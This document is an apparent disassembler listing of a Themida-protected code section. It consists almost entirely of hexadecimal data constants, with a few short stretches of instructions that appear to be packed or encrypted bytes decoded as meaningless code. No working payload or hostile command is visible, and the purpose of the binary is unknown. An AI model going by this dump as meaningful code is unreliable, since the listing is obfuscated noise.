8C800D93h dd 98D40051h, 607EA2BDh, 0A45FDC0Fh, 662A7CD1h, 15F76500h dd 0F46C2FEFh, 0D5058135h, 4799967Fh, 0B8070C30h, 61393E99h dd 0B518710Bh, 97568481h, 636870FBh, 2AF902Fh, 8429456Ch dd 72600DB0h, 32F907Dh, 0C9679h, 487D6ACDh, 0C00C2612h dd 49A93F00h, 6B6FB4DDh, 0AB98A190h, 8A7FB866h, 189D38C1h dd 0B7270812h, 6070E2A4h, 39273E0Bh, 0E6D4B38Eh, 8C6AC004h dd 0F327B0DCh, 0F6822EAh, 45D06632h, 0A7E833B7h, 0E28DC0A8h dd 4CB4C482h, 9FBF2B87h, 67BE2F50h, 8A1E010Fh, 0E9F2986Dh dd 0C5D0477Ah, 17F08C82h, 0FCA639D2h, 0C0B80E4h, 29282609h dd 0CB5DA80Fh, 0A8038AF4h, 37037ADh, 621026Dh, 94993CF8h dd 53A4F804h, 0BCCF5ED6h, 701F5525h, 0AB807711h, 186E7B40h dd 0B4944500h, 799D535Fh, 0B46CAE13h, 71AE6250h, 0A05F4896h dd 7423FC3Eh, 0BADB9C00h, 1A02FEB3h, 80DAA390h, 0CD006C59h dd 53DFC36h, 72090269h, 0C670D768h, 3F6040A4h, 0F9007623h dd 7AB8FF5Eh, 0C158074Eh, 14C43D3Bh, 13A100E8h, 417719Fh dd 7FD735D8h, 11A88A27h, 92026910h, 76D699EDh, 5AB8040h dd 5FAF4486h, 0BA80F71Ah, 8E54C0C0h, 9174947Eh, 0DAB6856Bh dd 4CC03C82h, 0A6CE448Ch, 453BDAE4h, 7CD10028h, 33A467E8h dd 0B887593Eh, 992CFF08h, 2137024h, 79B6AC21h, 9C308BF9h dd 0DAD104EBh, 0F8E213B5h, 11DEA984h, 8F702845h, 0C527A603h dd 56430738h, 0C1A991F9h, 3415EA19h, 0B844F740h, 6D743D7Ch dd 840F1377h, 42B821A2h, 465D0868h, 0C240502Fh, 0E80A89D6h dd 9381A0C8h, 3D8F9E87h, 9B29C30h, 97897D9Ch, 49270096h dd 647447EEh, 4F0A60C8h, 96893858h, 0A4870295h, 2DFF5000h dd 0B118C2E5h, 91E7902h, 5E193801h, 80E66630h, 0F01E099h dd 0A758FF61h, 472C092h, 332BB14h, 0A43B268Bh, 0C20B9B40h dd 0B2123906h, 0BC051459h, 34A2A2A4h, 10988893h, 0CC7909EAh dd 9B96A01Fh, 8A0A4907h, 80902D32h, 0ED945C90h, 5E2CBE3Dh dd 800C946h, 0A262C25Ah, 0C52F7943h, 8BBC3710h, 1802659Fh dd 0A0BC653h, 2E3B242Ch, 0D940FCD8h, 38B576h, 6DE63CF7h dd 5EB041BBh, 0AA9C1B00h, 0DA6C8FCCh, 0BCAC5CB2h, 3168407Ch dd 5F3AFE00h, 7143AB7Ch, 7BAC917Fh, 2595619Ch, 94FC5F0h dd 0CE1FFFEAh, 7A4AD810h, 0A8B08282h, 0E4240BA6h, 4D9160BBh dd 0A5472174h, 4D99FFC0h, 0B7BE006Eh, 3A7B10B3h, 1E2BD2Bh dd 0A9003091h, 44865A3Ch, 0E5DE07D1h ; --------------------------------------------------------------------------- loc_4E21A8: ; CODE XREF: Themida_:004E21C8j xor [edi], esp adc al, 40h retn ; --------------------------------------------------------------------------- db 3Fh, 45h, 19h dd 0A50029Dh, 81B0536Dh, 0E7F5353Fh db 0D7h, 70h ; --------------------------------------------------------------------------- loc_4E21BE: ; CODE XREF: Themida_:004E2204j inc edi test dword ptr [ecx+6Ch], 0FE450E38h or ebp, eax loope loc_4E21A8 pop ss movsb rcr ah, 1 pop ebp rcl dword ptr [esi+4Eh], 1 push ebp mov ebp, esp enter 0FFFFC039h, 1Ah lea ebp, [edx+18EC77CAh] jnb short loc_4E2240 movsb and byte ptr [ebp+2C0A1DCh], 6Dh jl short $+2 mov ah, 91h xchg eax, edi xchg esi, [ebp+4E2552FAh] ; CODE XREF: Themida_:004E224Dj imul edi, [ecx], 28C43F94h test al, 24h or al, 0DFh sub al, 74h inc esi into add [ecx], cl jge short loc_4E21BE mov ds:0F4169BEFh, eax xor ebp, [edx] add ah, [ebx-70h] add al, 0C9h cmp [ebp+56h], eax ; --------------------------------------------------------------------------- db 8Fh, 0FDh, 50h dd 5DA71C03h, 104F20DBh, 80E37008h, 0EC5C6B75h, 0D100E945h dd 2AD0FE07h, 733EC344h, 0DA99C1C4h, 0FCD89070h, 7600ADA9h ; --------------------------------------------------------------------------- loc_4E2240: ; CODE XREF: Themida_:004E21DFj add eax, 0EBFFF2ECh xchg eax, ecx mov [ebx], esi mov ds:92B29BCh, al jz short near ptr loc_4E21EE+5 retn 0CCh ; --------------------------------------------------------------------------- dw 65C4h dd 77A896B1h, 15572C3Bh, 0DC467600h, 108F27h, 0AA023260h dd 71502C87h, 1F14F944h, 535E0051h, 8292E83h, 3ED9AD12h dd 21E4CA00h, 2E17C8Bh, 45ED198Fh, 0A4F96CA4h, 722F7A00h dd 9134F7h, 0B6A1EB9Ah, 7B41EAA0h, 97B51604h, 0D0C18D7Fh dd 980088F6h, 4718EE06h, 561870E5h, 0F65806Fh, 0B0B31416h dd 0AA4B4802h, 0F8A44477h, 8ED680A0h, 48F76012h, 0E060C484h dd 0C2AB3968h, 0C4C578A0h, 3A537520h, 8E5C007Bh, 5933060Dh dd 210280D5h, 0E473C848h, 79B471E9h, 0E6651878h, 81301CC4h dd 8C644044h, 0D98BB805h, 0E015098h, 45018861h, 2A7F5Eh dd 0B7A00758h, 244B54B5h, 0CA23EC2Fh, 3505C18h, 80768226h dd 0D64676h, 43ECBA2Ch, 14607682h, 48E3FDC9h, 1E8CCBACh dd 402E204Ch, 0A69922B5h, 0A29F671Ah, 0C02BC9B4h, 72793109h dd 29B3F44h, 0FA9078h, 6BC724A3h, 559128Bh, 2F0EF51Eh dd 0A5193FBFh, 919417FBh, 0E9AE8035h, 98D68E13h, 0FCA2E014h dd 536E0743h, 0C7E1B618h, 0C1A97E27h, 0F87F2404h, 8CCFB878h dd 250019E8h, 96EC543Dh, 4B56477Dh, 5E4043Fh, 59C0FDA8h dd 0BBBC24h, 1C1A538Bh, 22A755C5h, 2DD658C0h, 2C5E5486h dd 0C4AC3BA2h, 0DAB9606Eh, 98612511h, 0AB3B9496h, 0C7D201C1h dd 0F64BA49Dh, 0F2090428h, 0B4D2C48Bh, 0AD96DE00h, 0CEEF8AFFh dd 93E0C437h, 3588C81Ah, 0C4E39A0Eh, 0DC201317h, 1571B619h dd 0C82423F4h, 0F6D10E70h, 6C08162h, 960E0731h, 0DF0C892Ch dd 16733C00h, 0F26DBC8Eh, 93B2009Bh, 26B5468Dh, 426636AFh dd 0E1C15F20h, 2E1E6032h, 0C7FC001Ch, 1B7F96D8h, 901EBC27h dd 1F88908h, 689C12B2h, 0D061D34Eh, 0B50195F3h, 0D58ABEA2h dd 4A2A707Bh, 80588868h, 85A7F7A3h, 8212C02Ah, 30C8DE32h dd 0B94700C5h, 7D53A8FBh, 0AC9690DFh, 173465Eh, 60A33DEAh dd 0EC31A751h, 0D5911FCAh, 0D4E71180h, 2D00F791h, 3F862AC7h dd 4B71ABE1h, 0C8B48B19h, 1FE5C081h, 2309771h, 10DD1985h dd 0A0F100D9h, 0B7CD2D7Eh, 60248DFBh, 0C82757FFh, 94756EC8h dd 0E99442A4h, 59F0F112h, 75B318D6h, 0A1582DCFh, 0D7E14E6h dd 91D4D727h, 0FD147EE8h, 3B82Ch, 0D9E47F80h, 0C76643EDh dd 0B22C109Ah, 0A0AC58A2h, 648578A8h, 0E60CAC4h, 50CB880Fh dd 0F107989h, 4A03ADB8h, 66C09DAFh, 54007F5Ch, 0F4BD6EA6h dd 0B72AAF7h, 0EC061A71h, 0CA0C4C02h, 6D8BBE80h, 835D55ADh dd 30B62E44h, 0CBF5BA60h, 93DD005Ch, 0CA1821C5h, 0D60A299Eh dd 91043AF3h, 70D08914h, 98771A02h, 54A988FBh, 8B3E4390h dd 0FDA65902h, 0D4197F76h, 121B4358h, 41BD77C0h, 5C10300Bh dd 0A2C898F4h, 0D9890794h, 65A3F6B1h, 864C00C5h, 0EC6F05D2h dd 2F651400h, 3D5CF1E5h, 0D9E3010Ch, 0D48911E2h, 0DED46C1Dh dd 0E0919640h, 5A3A264Ch, 23083E88h, 480B00DBh, 2B3E41C9h dd 17542E48h, 0E8CA8DBAh, 0D3A2F043h, 713DF30h, 79411F54h dd 0EE335380h, 71F3D805h, 0D090575Eh, 937BCD5h, 45D0B635h dd 0AAFF6802h, 7FD1B0D9h, 8C5E3218h, 4E331420h, 0A5E5E197h dd 0AC01F6Ah, 80A82823h, 0C9DC5A3Ah, 370EFA50h, 60B301FDh dd 0C1166594h, 0AE4C28F7h, 4370B6E0h, 0DF8BEB35h, 7D71ED98h dd 0B4F19F00h, 2412423Fh, 2359C022h, 0C0CEFFEAh, 0D6E253B0h dd 3CB3002h, 0F8CDEFA8h, 61F7E6ECh, 7FCF615Ch, 0C8B847EDh dd 4A40A0AEh, 73777Bh, 7FE5DCC7h, 948470Dh, 0C43D2A08h dd 754183C0h, 0C6A89E15h, 6F021A32h, 7BAA2E31h, 0A1844124h dd 0FF564510h, 51398B2h, 0E8E1BB90h, 41839860h, 6C313A37h dd 4C6D64C1h, 90C2017Ch, 795DB011h, 70CC49EBh, 0D802D7C4h dd 0DD42877h, 20E878D5h, 9C00C258h, 2BD0366Ch, 0B1467CCh dd 0D36DC11Ch, 0E0F97CE2h, 0EE187479h, 0A09FFC01h, 1093D65Ah dd 646F3671h, 0ACC4A88Ch, 91008CD7h, 0CB2CBE10h, 4EFF5F9Bh dd 224C03D4h, 0F2F3E47Eh, 531C6109h, 2E8DC5Eh, 0C274DFE1h dd 0EA769A01h, 6A6BE442h, 0C33CEDF0h, 0AA8908F4h, 68F1C53Dh dd 7E9E227Ch, 40D4BCE3h, 0A44CC08Eh, 6896333Bh, 5105C590h dd 4CE38FF7h, 0D43038A2h, 784D03ADh, 3ADC5BB5h, 0E267E388h dd 90B81C0h, 7ADBDF3h, 0CA298207h, 0A967B419h, 4F6D02DCh dd 0FE9EF1DCh, 9B884CD8h, 2710048Ch, 38F2A4B9h, 2709075Eh dd 40D72D71h, 0F504ACB4h, 0A7072107h, 6049033Dh, 2EEA9814h dd 1FC8B571h, 0D4E8E561h, 6706949Ch, 89BAD743h, 144531A0h dd 21AA7230h, 0BC237E78h, 329EC899h, 0D95826D0h, 7A3E3FEBh dd 8137631Fh, 59BDF047h, 0FC087EA2h, 4DC409D3h, 34008470h dd 0AD80CAFAh, 9EE20F2Bh, 0E320131Ch, 3038E200h, 0F1FCDFCh dd 0BF97261h, 0F94E3FDEh, 428000E0h, 0F43B128Dh, 6BA30900h dd 9754F81Fh, 4C370A8Fh, 140D441h, 1801E68Eh, 4CD42224h dd 541524EEh, 0A089E707h, 91449F4Bh, 92EF80C8h, 25A00304h dd 0C8C1BA37h, 0C446C63Bh, 491A4427h, 510AC28h, 64B603B0h dd 8A407028h, 60E09D95h, 0F02407C2h, 0E844A8C0h, 4F88809h dd 9344C498h, 0EFB8255Dh, 28A5BCE0h, 43CD0602h, 6254A036h dd 79B0F9A4h, 0DC1876h, 8A19D137h, 6DA6FE44h, 80C5EF5Fh dd 0C0BE241Eh, 0E0E29D6Ah, 0D5795879h, 34009D18h, 8192B57Fh dd 0F03FF3ECh, 4CC471EDh, 0D4FC1CD9h, 2DC2008Ch, 80D508C1h dd 0A7FEAC98h, 0FA8F5516h, 93ABA807h, 76A45211h, 3B112C32h dd 137848B0h, 18D19F90h, 4C6DCF61h, 0BA0F6F23h, 0A061A5DAh dd 0AAC0FCA2h, 80F3DAC2h, 77B90B00h, 0AB8B3960h, 0B4135401h dd 33B81265h, 8E0023CFh, 38208841h, 0FEC680C4h, 1882230h dd 5B90F934h, 24C3D7B0h, 29C35AE0h, 20EA058Ah, 0B2459148h dd 8413465h, 0B0785E0Ch, 0D24FA817h, 5629378Ch, 0DD465E04h dd 89E6D605h, 294CA4A9h, 27C1758h, 5E0FE3B9h, 0C1040FBEh dd 88ECA967h, 0F79833E6h, 0EA060194h, 126AFE67h, 0C8748B68h dd 5BA4C1CFh, 768C4FEh, 0D801D9ECh, 0AFE9222Fh, 193BFF3Dh dd 3BC4A0F8h, 1F111467h, 90881D96h, 0E62D6494h, 5FD80430h dd 4FD5C434h, 63793866h, 3FF61D35h, 245C41C2h, 6E7CA940h dd 96908C37h, 39B64229h, 9F24476Eh, 30D380DCh, 93CD87FBh dd 3940E38h, 4B5E4778h, 0D20171Dh, 3B204E16h, 2DA23F90h dd 0B8D082AEh, 4428C789h, 92F86130h, 978B7470h, 0E43B1800h dd 3F5F559Dh, 0E5D1C009h, 6130E4A8h, 0AC70C103h, 231B40AFh dd 4C80B25Eh, 73849Ch, 93D82705h, 5DBD38E2h, 48928B74h dd 849C6098h, 570BA71Fh, 0A86C2105h, 18A0D2CFh, 92DD16E4h dd 4E5CB271h, 0DE83C8DBh, 0AFB0DDA2h, 0B37BB805h, 0FD68C180h dd 2723298Ch, 0B400A7D9h, 1C4E8AAEh, 7C5A29h, 3DC68740h dd 340F65BDh, 83BB1909h, 0B01C026Dh, 0FE5C826Bh, 35600F85h dd 0BF0A9A76h, 0B90D4900h, 75E4418h, 0A8140E7Dh, 0B473272Bh dd 0E3407568h, 0F8810202h, 31870AEFh, 20807089h, 980DAAEAh dd 48E7AF25h, 25D69280h, 0DC8FB64Bh, 551DF62h, 0D289D8FEh dd 3B1074F1h, 0CB5A1061h, 2FDE1310h, 24C68D04h, 0A4EF5F0Bh dd 0E498F298h, 0E759C27Ch, 0A00C4D4h, 0B088277Eh, 0BEA30BFCh dd 3045C1A4h, 0A060CFE4h, 5B00518Dh, 0CC372748h, 4A6B363Dh dd 0C474C81Dh, 1130178Ah, 2FF285DDh, 0C88FCC81h, 535E7100h dd 0BE26B0B6h, 82C04C3Fh, 81301336h, 8E8D3B3Ch, 4DB08C37h dd 0A202B2D9h, 34D76894h dd 45476D2h, 0A1616DC1h, 8A78215Ch, 782FDB78h, 8A79C198h dd 0C51602D5h, 5DED767h, 8142D454h, 76D85C1Bh, 773E7846h dd 964E9B80h, 732F95A2h, 205C8B5Ch, 6E433CC0h, 2A97E93h dd 60968E80h, 4D972846h, 1A16C0CCh, 1407799Bh, 0CFB722D8h dd 0D6A8A049h, 0C083028Eh, 914107A1h, 5B0B3C59h, 7368ED77h dd 71782168h, 14E1876h, 0B5C73518h, 0E8A75384h, 0B8A206D7h dd 0D1400076h, 0B819A330h, 22FA0E40h, 48B446Dh, 91107071h dd 11453F0Ah, 0A0902538h, 0E8B0D1B3h, 9668A300h, 0F8721F48h dd 16C4024Bh, 0B9A4DF61h, 2B1248F8h, 74B38A22h, 0C531D5B2h dd 2A758C4h, 17F67909h, 0C4DE66FAh, 3208469h, 2FA0A0C8h dd 0C4E7B156h, 0D160D564h, 4205E2A5h, 778D5527h, 0B03884E1h dd 0B08CD4B8h, 0F4F501CAh, 0C8086031h, 9CB470AFh, 2C44BA41h dd 0CF23883Ah, 810E4900h, 2CAF63Fh, 0DF087028h, 44702FFFh dd 0F3E4730Ah, 5443D422h, 9196A03Fh, 0EBA505ADh, 726DEDAh dd 47197195h, 898881B8h, 1D3189A0h, 1EF8F1DFh, 0CDB80C8h dd 2A1A382Bh, 0E0773E2Dh, 0D3B8E014h, 23C83AC8h, 16C70034h dd 0C2FC88FFh, 709B5098h, 91CC152Dh, 71CA8B80h, 5D96000Ch dd 2B48E578h, 242CE493h, 70BA08h, 2B1AAC27h, 10C05DC2h dd 0CB323569h, 3C900B38h, 44463E45h, 4656509Ch, 995F0378h dd 0B72CADB8h, 0C587F20h, 0E05913EEh, 0B6780D22h, 54212B51h dd 96ECFB98h, 5014E46Eh, 0EA38EECCh, 0B8DF2D8Eh, 77447447h dd 0F0688960h, 12002FB0h, 0F59D7191h, 0B00F3126h, 9FF22010h dd 0DF5DBF08h, 0E0122707h, 6467EF09h, 0E4603964h, 77026C3Eh dd 3C38B2ACh, 0EB30C07Eh, 0F75F808Ch, 4B10BC4Dh, 2ED81820h dd 3D260AA3h, 1D948BF1h, 8A0620C2h, 0D666E30Bh, 3EBC76A0h dd 0E243DC0Fh, 0DA863034h, 0C85DFD0Bh, 98744609h, 0EA9B2D90h dd 2D878C22h, 692C0209h, 7F3F07AAh, 707698A0h, 0C74E0467h dd 2EB2E0A3h, 550F4032h, 7CCCB8CFh, 14E80EBh, 0F68C8F44h dd 374B26AFh, 0BC9005C8h, 7A94016Bh, 6C581563h, 0F362803Ch dd 2BD9C6Fh, 0DDC58036h, 0D0D0C08Fh, 72221604h, 1CFD7F7Dh dd 1B05A3ACh, 5EC16CC0h, 20D54C03h, 727C9865h, 3EE94B36h dd 1FDC23A8h, 1BB28BB6h, 57D080FBh, 39445884h, 670DA906h dd 0B20041DFh, 139A4087h, 52065BCh, 6C9D391Bh, 4B50A6E6h dd 2FC8D88Ah, 0C29D0BC0h, 99CA022Eh, 0B88D8654h, 0F0524162h dd 0C5C1820h, 0C2E3B063h, 0FA496718h, 46690168h, 0C78917D9h dd 0A884C83Ch, 34AC24E8h, 0E48CD6ACh, 0A53804D5h, 0F30D2C9Ah dd 56450B54h, 306C78B3h, 9DC98623h, 0A890AA88h, 9FA4BD40h dd 2F11C09Fh, 0D1B2A685h, 7E5A07E0h, 984B410h, 0BDAB6004h dd 0EA101A4h, 0C0166985h, 0D6ECAF34h, 8AB6C73Ah, 9804C4BCh dd 1CCB467Eh, 911804EEh, 1DBBFD71h, 8178C222h, 0A0838F72h dd 547BE22Fh, 0F4CDA11h, 3070DF25h, 0B402448Ah, 0C1000343h dd 3066476Bh, 0B61002AFh, 0AD71CB94h, 55A75A09h, 6078CE73h dd 5C9CC1FEh, 5601439Fh, 0A289B8AAh, 0F6B1A53h, 0A8219C0h dd 0E47CC64Bh, 0B005AB02h, 2A85E9Bh, 0EA230F44h, 26144070h dd 20F01B29h, 0D49044BBh, 93906195h, 4C0987FCh, 9F2C7445h dd 0DC228678h, 5C4430BAh, 2435E49Dh, 7E981DD4h, 68003846h dd 84B093F9h, 0F001CF15h, 559D1076h, 487C2B63h, 0EE87207Eh dd 8C946713h, 1745F0C8h, 3E2DFF6Eh, 752310h, 0C96BA874h dd 0DE09E2B5h, 4812E453h, 0F6343F84h, 5ED61619h, 9E788B7Fh dd 135D07A3h, 6109D067h, 0D54F3CFFh, 6C614CC9h, 128DB028h dd 18F7E039h, 0AD28CC60h, 9DB2970Eh, 41FCDCC1h, 2B8BD2F8h dd 2C1264CAh, 44E0882Eh, 0A76E706h, 0FB1CCC4h, 578E2CEAh dd 32BF2040h, 870028A9h, 9693C25Eh, 0E2BC45E5h, 901BE83Dh dd 345217D4h, 9078159Dh, 3A5FD802h, 4052BEA2h, 686495h dd 94F89E24h, 0D9A2F907h, 8613F00Fh, 8024220h, 43145E90h dd 63F8C87Fh, 0FF135F72h, 60C21368h, 0A6890227h, 45259CD2h dd 91D83514h, 9BCE80D6h, 90B520F5h, 0C4E35BC0h, 4E10A64Ch dd 190088F2h, 773A35EDh, 6109F60Dh, 0C0D4E40Fh, 508A4354h dd 3190BC5Bh, 2350EA06h, 980D001Bh, 0C9A05A85h, 40E7FA58h dd 0B56030E4h, 41003501h, 61A04558h, 96C530D7h, 922E8B98h dd 0DD64C067h, 6341B267h, 0AEE228E1h, 71EBB0B0h, 1880598Ch dd 10DCBC9Bh, 103F12C2h, 94836BB0h, 0C40F8D18h, 7C203BE1h dd 4D53B2h, 620AA19Fh, 6D3061C2h, 12109D12h, 2F96509h dd 5EBC6C11h, 879E8894h, 5A490166h, 74E89067h, 5C00C8E9h dd 2991BA3Bh, 4070DEF4h, 942C9DC3h, 46D6ECE5h, 3EFE4030h dd 3F6040E8h, 676DFFE8h, 408A4FFCh, 0E8261350h, 0BD524CF7h dd 0A33785D8h, 0D2090827h, 0BDDC04BCh, 80B92776h, 0A017D7F8h dd 71E59E00h, 0F7C88695h, 1CA14DE0h, 44075850h, 4497901Dh dd 253B71A4h, 6CD02EC4h, 7B600F70h, 0D5DEC061h, 2D470091h dd 32E53921h, 4F0156B3h, 141A06C5h, 48501572h, 7581CCh dd 0EFBA4FC4h, 46459A42h, 0B2ED230Fh, 6CDF4635h, 117330E1h dd 684942F8h, 9B7CD712h, 0EB885CE8h, 632010A8h, 6E780CEDh dd 0C7C02EF7h, 400AB098h, 0E8BAC527h, 5F7B2680h, 1C360981h dd 270E72F5h, 1764A848h, 0E57C0400h, 1CCDDE79h, 6CC12539h dd 0E5403C12h, 724CBDEBh, 4F348E5Ch, 5F82BE0Ah, 76658E8Ch dd 3C04BC60h, 90D96675h, 3D6C2620h, 873A3703h, 0A0028D07h dd 1F2FDEFh, 68A73692h, 2B15F94Ah, 0CBBBC82h, 505E9FC0h dd 607088B3h, 3E67917Ah, 86009D1Fh, 1CA68DFCh, 3A53D751h dd 0F180C252h, 197172A4h, 5D3A9CB2h, 3B27F9FAh, 0B9E8E04Ah dd 96B8E807h, 0AC7CC984h, 77A17E40h, 0C6F60045h, 7B6B0792h dd 0C1001968h, 0E7375A91h, 2F4783EBh, 4CC7A036h, 146073C4h dd 92025417h, 2BA48C91h, 4E90D86Eh, 0D03482DFh, 0D4200125h dd 1C5ADCCh, 79E77062h, 0F4CAC7CEh, 588AE01h, 0A16F4BB8h dd 0C7606CCCh, 7A55A2ACh, 0F7275CA9h, 3C58B472h, 0E0B67E40h dd 9301E068h, 22B89E9Ch, 89071426h, 0F341E072h, 0E5C8A5BDh dd 0C29514D3h, 79CCF99Ch, 8D18D6h, 18EAA394h, 0DBCE2FD8h dd 79A0E03h, 496DA98h, 0DE6643C8h, 99D40055h, 0A0679Dh dd 91B98102h, 0C3AC86EDh, 93765009h, 0A068B8B4h, 6645121Fh dd 5DC0F037h, 9C24E44Bh, 2152B422h, 250CD767h, 0C4EC31C0h dd 0B334B019h, 1C3288E3h, 2728F650h, 1C2C7C52h, 0A0A558EAh dd 8A7DBCF0h, 9F2B74A2h, 0E4668C8Bh, 668ED61Eh, 0BDFFAC06h dd 0C2F4A311h, 0EB1B00D1h, 801205C3h, 24BDCB47h, 3A1CA54Fh dd 0F2BAC80h, 26B1D230h, 714570C0h, 95C9A46Ch, 0F3A8F85Ch dd 0BE52C2E8h, 611BC220h, 64DF2172h, 23C107CEh, 188185F1h dd 0C2DB4CB7h, 9FF09DE8h, 8910A52Fh, 88B2C004h, 1784B335h dd 0C0D29005h, 5E74D47Dh, 6B18E7h, 0CF75CD91h, 34D84268h dd 7E8CCA4h, 0A8C0F04Ah, 0E054570h, 9A0C6EBBh, 0B8C658A6h dd 0A8BCC200h, 0E8B19DD1h, 0ADD41A9Fh, 8B612121h, 8116700Ah dd 0B9649D1Fh, 981DCD1Ch, 2F0DDB02h, 25844886h, 869001Ah dd 0E9709ACAh, 1500D5A1h, 0F97544E7h, 0DD85A0h, 0DC0511EBh dd 74B98E10h, 90278713h, 923B1402h, 44984772h, 0B4560D7h dd 3C4C01AFh, 0ACDFEA49h, 7FD050CCh, 0E4ABE702h, 5FFF8FDFh dd 0F21D70h, 692CD964h dd 0F8041F06h, 355E9160h, 0E62C41AFh, 3A3B263Eh, 8282285Fh dd 8416CC5Fh, 0CBE5CE8h, 0A010BC50h, 4491BB60h, 0EC2BD2DBh dd 430D24E4h, 7E0A8520h, 0A42868E7h, 281ED8AAh, 1B4CD818h dd 88200F58h, 0AA03C8A3h, 28CDEB7Eh, 8482A58Eh, 2F06208Fh dd 3E2BD6F8h, 7D44402Ah, 92228CBCh, 767E02ECh, 461F9173h dd 2265D1ECh, 5E796794h, 8B310D90h, 823C1B31h, 0A1909B89h dd 0D527A5A4h, 3064B822h, 0AC3450BDh, 8E78587h, 6B0221A0h dd 77EF2EF8h, 0A1D130E8h, 0C601BD4Bh, 455F925Eh, 4844D301h dd 8D21BC78h, 133C2686h, 8CB61661h, 9A184558h, 0B3A84F9Ch dd 0EE33918h, 5C7CA595h, 426E5408h, 68001A3Dh, 30C15614h dd 0D718D6Bh, 0E890BCDCh, 0F8A5CE00h, 110811Ch, 71D71FF5h dd 27024F4h, 66DD43B7h, 6B2F0C7Ch, 8E561F04h, 209B14A2h dd 41BC2FCAh, 42704F23h, 9C4A02A0h, 7801A8D8h, 8CE17C3Ch dd 8A8A793h, 6BD11610h, 0AEB8BC1Bh, 0F852880h, 916293C7h dd 60F99C08h, 0C46513C4h, 6E16A10h, 2008038Ah, 5A204195h dd 0F729201Bh, 2016B120h, 0C0204305h, 0EB7420D5h, 506F6431h dd 88870B1h, 190C69B5h, 402C200Ah, 0DA66D586h, 62511C10h dd 2A2898Ch, 23DEB02h, 7E03017Fh, 0CC201056h, 89FE182Bh dd 0C83B5C10h, 608ED99h, 0E38608F1h, 0C28B408h, 20080B26h dd 64453240h, 4D7C1DEh, 6A06D907h, 0D262081Eh, 2EF4191h dd 3E064FBEh, 0C4FA7099h, 615A820h, 0C67917DAh, 0A90E18F1h dd 3008DF62h, 68510344h, 0F2C32010h, 10057010h, 0E21006F4h dd 29721190h, 0C9AC9166h, 20CC9231h, 6401124Dh, 1B108C6Bh dd 55EF086Eh, 0C011A0FBh, 108C2E5Ch, 0AB0830B3h, 0B91895F3h dd 5AD91880h, 0C6750B10h, 0B1DCF408h, 7E8101FBh, 0E131A003h dd 0E15509B8h, 326A8190h, 0A46BF1D4h, 389198C4h, 108827CDh dd 0AA158414h, 2F1F10A4h, 8454218h, 180E5A9h, 2E28C67Ah dd 11C471E9h, 2B0C080Dh, 0EC66F661h, 3161D808h, 0CA0851D2h dd 0FA308C8Fh, 6412085Fh, 9134183Eh, 183E61Ch, 9502EAFEh dd 46CFF4A5h, 0C9FA0DC8h, 4046E840h, 8167A37Bh, 0A084508h dd 90F0EEB7h, 72AE180Ch, 8022A518h, 6282F7E7h, 23A02422h dd 0A343B04h, 688FC87h, 0DD7C0FFEh, 20DF2090h, 0BB332ABDh dd 181FB9FDh, 50747B08h, 8C66667h, 64B1462Ah, 0CD97941h dd 0C476E96Ah, 6EB2369h, 0FC187360h, 0DB2E80D4h, 0D851CC81h dd 8F02E6C2h, 89DE5849h, 2837DCF9h, 568CC8C4h, 642C085Eh dd 47999E3h, 9E0A6F42h, 4403928Ch, 4678D54h, 34D32D72h dd 30413264h, 2A03F4F9h, 0CB181055h, 0F9873103h, 8882141h dd 0F708F899h, 84F11540h, 1008DE10h, 407A475Bh, 78402632h dd 8CFB40AEh, 31D05349h, 90A9087Dh, 0C0A2D402h, 180306FDh dd 8818045Bh, 0A466D9F8h, 0B099324h, 417390C6h, 0DEE02CBCh dd 10706368h, 50B0ABB5h, 7C05FFBCh, 0D3C4F9A4h, 0C200FCBDh dd 0A6D0E9BBh, 8500A1FEh, 4FBEBE4h, 2CC9A51h, 0F8BDF705h dd 32B1CD2h, 0A888F998h, 3A9FB801h, 0DF8122CEh, 0A4E8BDFBh dd 75A078BFh, 0E1CCD20Bh, 1A8B0693h, 0CE890h, 296975BEh dd 0C12C3E9Ch, 60761D00h, 2D3F0178h, 0F10B290h, 10A6E368h dd 3D0F001Dh, 0EB5BDD5Eh, 22BC2318h, 71476F60h, 45DF4F0Bh dd 330918h, 45D78B20h, 0C41870B5h, 4720A4E0h, 0A5F0EDh dd 0DC049A8Eh, 11232446h, 74A43950h, 0AD4E6719h, 7EF08F40h dd 0A558C01Ah, 733D6164h, 4D681701h, 7288675Ah, 2869288Bh dd 5D5B46Ah, 800D43Ch, 5CBD639Ch, 0E9F80311h, 4355C44Fh dd 9D078800h, 24354AD7h, 670C02C3h, 56162396h, 78825B07h dd 0D900061h, 118BAE1h, 0B58978Bh, 0BDF800E7h, 2B3F7351h dd 0AB001FE2h, 10CA6302h, 30C434FBh, 0A668C816h, 84312306h dd 0EA789120h, 2AB901F3h, 28A80FDDh, 38C06B6Fh, 12EA127Ah dd 8042C4B7h, 2169F9B4h, 58D1080Fh, 19858CB3h, 686B1DD8h dd 7A5F1F01h, 8E2D3D01h, 41B4AF3Fh, 1735CB8h, 44201469h dd 5A92007Ah, 0B8F5BF48h, 0ED1D7B9Ah, 144095Dh, 0B300DDDCh dd 21936F0Ch, 0A767F41Ch, 0B28CA8F0h, 0E7283A26h, 0CFDC450Fh dd 233BB415h, 79257CDDh, 94008050h, 213B9383h, 18E0A7Fh dd 5940679Ch, 0ED99B49Dh, 90708831h, 0DA0B0A9Bh, 0FBC803FCh dd 72B0E113h, 0A5622667h, 0D09FF378h, 0E160630Ch, 7800A690h dd 1A7C24B8h, 0C9E9D62Eh, 0B4C01188h, 9878D879h, 0B8A3B2E6h dd 32FA08C8h, 61679D00h, 0FB56C40Ch, 97CF003Ah, 46D34B69h dd 6D01B323h, 0F522672Eh, 25E41968h, 6892ACh, 3F58ED96h dd 0FF32010Dh, 0D6F5B092h, 41928428h, 7F1C1880h, 2D6B3002h dd 0A7E4DAE0h, 0C748700h, 0C167936Eh, 54431398h, 0D0AC9708h dd 356F9C2Eh, 0CB0B8800h, 10B875B4h, 0F3B5B67h, 1A05F64h dd 6D316109h, 6B683600h, 0D99BDB70h, 89A60095h, 2761CB1h dd 78C04D75h, 29B9C54Bh, 0A3200F24h, 0F5E0D917h, 84C452C1h dd 24476840h, 1000501h, 0BF215067h, 4A5E32Ah, 0EC11E608h dd 0E50109F4h, 0D5E8204Eh, 3E6623BBh, 201B1330h, 45D3186Ah dd 22C6E2A8h, 46B91701h, 0BCCC2A2h, 74059C21h, 0E9E400AEh dd 450218DEh, 9C121890h, 8820ED7Ah, 0EC44E23h, 677364F4h dd 8778F113h, 8F067F91h, 7B78CBF3h, 17680430h, 0D99371D6h dd 8CA80440h, 141DEF40h, 5424239Ah, 0D8AAD68Ah, 143ED09h dd 0DEC94518h, 